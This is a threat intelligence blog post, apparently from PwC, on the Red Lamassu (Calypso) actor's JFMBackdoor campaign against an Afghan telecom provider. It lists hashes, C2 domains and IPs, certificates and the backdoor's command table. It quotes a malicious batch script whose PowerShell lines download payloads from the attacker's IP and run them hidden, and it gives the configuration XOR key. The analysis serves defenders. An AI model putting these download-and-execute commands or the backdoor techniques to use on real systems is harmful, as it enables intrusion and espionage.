PwC Threat Intelligence has been tracking a China-based threat actor we call Red Lamassu (a.k.a. Calypso) since 2019, observing its operations targeting telecommunications and government entities across the Asia Pacific region with a combination of bespoke and shared tooling. This blog is released in tandem with Lumen’s Black Lotus Labs , who detail one portion of Red Lamassu’s operations (an ELF binary we respectively call kworker or Showboat), whilst we focus on the Windows-oriented elements of its operations.
Our analysis revolves around an open directory found during our hunting of Red Lamassu, containing both an aforementioned kworker sample, alongside a fully featured Windows backdoor, which we call JFMBackdoor. Delivered via DLL side-loading, JFMBackdoor supports a range of capabilities, including: remote shell access, file system operations, network proxying, screenshot capture, and self-removal capabilities.
Red Lamassu is our name for a China-based threat actor likely operating out of Sichuan Province, associated with the targeting of telecommunications organisations based in Asia, predominantly Kazakhstan, Afghanistan, and India. Also known as Calypso APT in open source, Red Lamassu uses a myriad of bespoke and shared tooling to achieve a persistent foothold for long term intelligence collection within the victim’s environment.
As part of our ongoing tracking of Red Lamassu, we observed an open directory hosted on the IP address: 23.27.201[.]160 , active between July and October 2025. Most of the binaries in the directory are part of a connected infection chain, with the exception being the files entitled clear and systemd-ac-update .
Neither clear nor systemd-ac-update are the focus of this blog, with the former being Linux-oriented log file tampering malware, and the latter being a sample of the kworker malware (which Lumen names Showboat in its blog).
a05fbe8734a5a5a994a44dee9d21134ad7108d24ab0749499fe24fc4b36c4cbc
047307aca3a94a6fc46c4af25580945defb15574fb236d13d2bb48037cc42208
ac50887e2c513b50b2170d77441b9f7e8afcc774df6b54fdd8aac863095239f4
a23d126f0446755859e4d81c0c9b50b65e0062c3de2a014c543f6b263321ad78
ea57b5768c84164fcdb25bb8338d660c5586e17e37cee924c4e5a745510925f3
cbef2064cf49b4b27dbf7d0c88c8f7bcdd6a7f25ee9c087beacb48cdd1b78731
b77a233735ff237ab964d2bdb3f6d261a90efb2f86dcde458c419cee528686a9
Table 1 - Files observed hosted on 23.27.201[.]160
Figure 1 — Infection chain overview
We assessed the 23.27.201[.]160 directory to almost certainly be tied to Red Lamassu operations, based on a TLS certificate served by IP addresses we exclusively associate with Red Lamassu:
27df475626aafce2ea1548a9f35efb9ad951298c8b11a6adb3ccdfcd5170c677
In Figure 2, 1.bat remotely downloads the other files into a victim’s %TEMP% directory, and subsequently executes the file entitled fltMC.exe , a legitimate executable that in turn loads FLTLIB.dll .
It is worth noting that this script will not execute as-is in its current form. However, each individual command within it remains functional when run separately or concatenated onto a single line. One possibility is that 1.bat is designed to be passed through an obfuscator that transforms the script allowing it to be run as a standalone script.
@echo off powershell -WindowStyle Hidden -Command "& { $downloadPath = '%TEMP%'
# 下载文件 Invoke-WebRequest -Uri 'hxxp[:]//23.27.201[.]160:8000/flt.bin' -OutFile '$downloadPath\flt.bin' Invoke-WebRequest -Uri 'hxxp[:]//23.27.201[.]160:8000/FLTLIB.dll' -OutFile '$downloadPath\FLTLIB.dll' Invoke-WebRequest -Uri 'hxxp[:]//23.27.201[.]160:8000/scr.mui' -OutFile '$downloadPath\scr.mui' Invoke-WebRequest -Uri 'hxxp[:]//23.27.201[.]160:8000/fltMC.exe' -OutFile '$downloadPath\fltMC.exe' # 执行file1.exe Start-Process -FilePath '$downloadPath\fltMC.exe' -WindowStyle Hidden
Figure 2 - Contents of 1.bat
FLTLIB.dll finds and opens scr.mui and XOR decrypts the contents with the key Zs0@31=KDw.*7ev . The format of this file is a series of entries that are four bytes of an XOR encrypted length, followed by encrypted data. The decrypted data is configuration data read by both FLTLIB.dll and the final payload, and includes the following strings:
FLTLIB.dll then loads the file entitled flt.bin in memory and executes it. flt.bin is a shellcode stub that then decodes and loads the final embedded payload PE file into memory, the details of which we provide below:
176aec5d33c459a42e7e4e984a718c52e11213ef9a6aa961b483a836fc22b507
The decoded shellcode is a fully functional backdoor we have named JFMBackdoor (on account of a hardcoded filepath within the malware: C:\Users\public\jfm ), and leverages command and sub-commands via CppServer library classes: TCPSession , WSSession and WSSSession , communicating with its C2 : namefuture[.]site .
The command and sub-command code functionality is extensive. Whilst the full command list is provided in Appendix B, we can summarise the JFMBackdoor’s functionality below:
The aforementioned key used in FLTLIB.dll to decode scr.mui – Zs0@31=KDw.*7ev – is also observed across three other samples:
Upload submitter country CC
b118f74dc2b974678a50349d04686f6b2df4b287a69e40c4513cd603c7271793
1003bc9e3650fd290e44fd79b270c1b29f572fbb7647fa2bbf1f600d53673b53
f820e4e4c5d433714842f6d64d1a8773958f782cde8d27f6a54d4f9862598933
Table 2 - Additional observed files that contain the Zs0@31=KDw.*7ev decryption key
The file entitled scr.mui contained the following configuration data, in particular revealing three new domains:
From the analysis above, we found the following C2 domains either used or embedded in the malware:
Whilst these were hosted behind Cloudflare, a Cloudflare certificate for namefuture[.]site was served by following IP address: 166.88.11[.]196 , as well as an additional DNS resolution to 139.180.223[.]193 .
5e86298e3a62404ee4b019246d8da7a7451ba8f9c1f956c32ea4a0ff4e43f553
O=CloudFlare, Inc., OU=CloudFlare Origin CA, CN=CloudFlare Origin Certificate
C=US, O=CloudFlare, Inc., OU=CloudFlare Origin SSL Certificate Authority, L=San Francisco, ST=California
*[.]namefuture[.]site, namefuture[.]site
722215547421393549906800483143167899186483629093
The IPs 166.88.11[.]196 and 139.180.223[.]193 are also seen serving an additional CloudFlare certificate associated with the domain newsprojects[.]online – the C2 used in one of the kworker samples we have observed.
8b0e14e0684e00aee9cbf4fd22b2a5da08443f9a0f9ace4972803e29050bcc69
O=CloudFlare, Inc., OU=CloudFlare Origin CA, CN=CloudFlare Origin Certificate
C=US, O=CloudFlare, Inc., OU=CloudFlare Origin SSL Certificate Authority, L=San Francisco, ST=California
*[.]newsprojects[.]online, newsprojects[.]online
604003291824433169701962900588762674473924908065
This newsprojects[.]online certificate was also observed on the following IP addresses:
Table 3 - Observed hosts that served newsprojects[.]online certificate
Figure 3 - Overview of connections between IoCs found during this analysis attributed to Red Lamassu
We also observed a DNS resolution from newsprojects[.]online to 64.227.128[.]21 and 23.27.201[.]115 , with the latter also resolving xcent[.]online .
During analysis of the open directory contents, we identified multiple artefacts tying this intrusion to a telecommunications provider in Afghanistan:
The targeting of Afghanistan and its telecommunications sector aligns with what we assess to almost certainly be Red Lamassu’s wider operational goals and objectives. In our private reporting, we have observed the threat actor targeting the telecommunications sectors of Kazakhstan, Thailand, and India, using much of the tooling outlined in this blog. 1, 2, 3, 4, 5
1 ‘Red Lamassu opens another vault and exposes likely Indian government Compromise’, PwC Threat Intelligence, CTO-TIB-20260513-01A
2 ‘kworker in Kazakhstan’, PwC Threat Intelligence, CTO-TIB-20260504-01A
3 ‘Red Lamassu open directory exposes Asian targeting’, PwC Threat Intelligence, CTO-TIB-20260421-01A
4 ‘Red Lamassu continues using PlugX’, PwC Threat Intelligence, CTO-TIB-20260123-01A
5 ‘The Silence of the Logins PAM edition’, PwC Threat Intelligence, CTO-TIB-20251027-01A
The indicators of compromise (IOCs) associated with this blog are available on our GitHub page .
Unknown - likely internal state management
Unknown - likely internal state management
Unknown - likely internal state management
Uses CreatePipe and CreateProcessW to start a reverse shell session
Terminates the reverse shell session
Terminates the reverse shell session
Writes data to the reverse shell using WriteFile on the open pipe
Uses CreatePipe and CreateProcessW to start a reverse shell session suspended. Uses ResumeThread then FreeConsole and AttachConsole to prevent inspection by another process.
Terminates the reverse shell session
Terminates the reverse shell session
Uses WriteConsoleInputW to write to the open pipe
Gathers drive information
Recursively lists directory
Reads metadata a file
Writes a file to disk
Reads a file from disk
Use SHFileOperationW to delete a folder
Use CreateProcessW to execute a file
Use SetFileTime to timestomp a file
Use SetFileAttributesW
Find files in a directory matching a pattern
Unknown - proxy related
Begin TCP proxy session
Unknown - proxy related
Uses CreateProcessAsUserW
Uninstall self from registry, services, terminate self and delete from disk.
Gather TCP and UDP connection information via GetExtendedTcpTable and GetExtendedUdpTable
Create C:\Users\public\jfm (\ProgramData and \UnistoreDB) folders and write btasc.cfg encrypted configuration to disk
Write btasc.cfg to disk
Manage .temp and .jfm files in the ProgramData and UnistoreDB folders
Enumerate registry keys
Use RegDeleteKeyValueW
Launch self via WinExec and sc start
Launch a process with WinExec and cmd /c
Terminate current malware process
Delete file in C:\ProgramData\Windows Multimedia
Append to a file named ROG
Append to a file named ROG
Call CreateProcessA with ROG file as argument
Uses gdiplus.dll functions to create a screenshot and save it to disk Base64 encoded and XOR encrypted
Reloads configuration data from scr.mui file
Writes current configuration to scr.mui encrypted
Global Threat Intelligence Lead Partner, PwC United Kingdom
Global Threat Intelligence Lead, Director, PwC Sweden
Global Threat Intelligence Lead, Director, PwC United Kingdom
Global Threat Intelligence Lead, Director, PwC United States
Director, Threat Intelligence APAC, PwC Australia
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
